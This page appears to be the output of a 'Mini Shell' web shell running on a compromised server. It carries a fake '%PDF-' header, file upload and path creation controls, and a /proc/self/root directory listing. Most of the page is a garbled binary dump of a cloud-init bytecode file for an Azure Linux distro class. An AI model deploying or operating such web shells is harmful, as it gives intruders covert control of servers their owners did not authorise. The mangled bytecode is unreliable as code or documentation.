%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/lib/python3/dist-packages/cloudinit/distros/__pycache__/
Upload File :
Create Path :
Current File : //proc/self/root/lib/python3/dist-packages/cloudinit/distros/__pycache__/azurelinux.cpython-312.pyc

�

���fe	���ddlZddlmZmZddlmZddlmZeje	�Z
dZGd�dej�Zy)�N)�subp�util)�rhel)�CLOUDINIT_NETPLAN_FILEa7# This file is generated from information provided by the datasource.  Changes
# to it will not persist across an instance reboot. To disable cloud-init's
# network configuration capabilities, write a file
# /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the following:
# network: {config: disabled}
c�*��eZdZdZ�fd�Zdd�Z�xZS)�Distroz/usr/libc���t�|�|||�d|_d|_d|_d|_dg|_dti|_|j
|jd�|jdtdd	�d
�|_
y)N�
azurelinuxz/etc/systemd/network/z/etc/locale.confz/etc/systemd/resolved.conf�	systemctl�netplan)�resolv_conf_fn�network_conf_dir�True)�netplan_path�netplan_header�postcmds)�networkdr)�super�__init__�osfamilyr�systemd_locale_conf_fn�resolve_conf_fn�init_cmdr�network_conf_fn�NETWORK_FILE_HEADER�renderer_configs)�self�name�cfg�paths�	__class__s    ��>/usr/lib/python3/dist-packages/cloudinit/distros/azurelinux.pyrzDistro.__init__s����
����s�E�*�$��
� 7���&8��#�;���$�
��
� )�+A�B���#'�"6�"6�$(�$9�$9��
!%� 4� 4�Y� ?�"5�"��
!
���c���|�g}tjd�rtjd�dg}ntjd�dg}|j	d�|r"t|t�r|j	|�n#|r!t|t�r|j|�|j	|�tjd|�}|j|�tj|d��y)	N�dnfz Using DNF for package managementz!Using TDNF for package management�tdnfz-yz%s-%sF)�capture)r�which�LOG�debug�append�
isinstance�str�list�extendr�expand_package_list)r�command�args�pkgs�cmd�pkglists      r"�package_commandzDistro.package_command1s����<��D��:�:�e���I�I�8�9��'�C��I�I�9�:��(�C�	�
�
�4���J�t�S�)��J�J�t��
�j��t�,��J�J�t���
�
�7���*�*�7�D�9���
�
�7��	
�	�	�#�u�%r#)NN)�__name__�
__module__�__qualname__�usr_lib_execrr6�
__classcell__)r!s@r"rrs����L�
�,&r#r)
�logging�	cloudinitrr�cloudinit.distrosr�cloudinit.net.netplanr�	getLoggerr7r)rr�r#r"�<module>rBs=��� �"�8��g����!����2&�T�[�[�2&r#

Zerion Mini Shell 1.0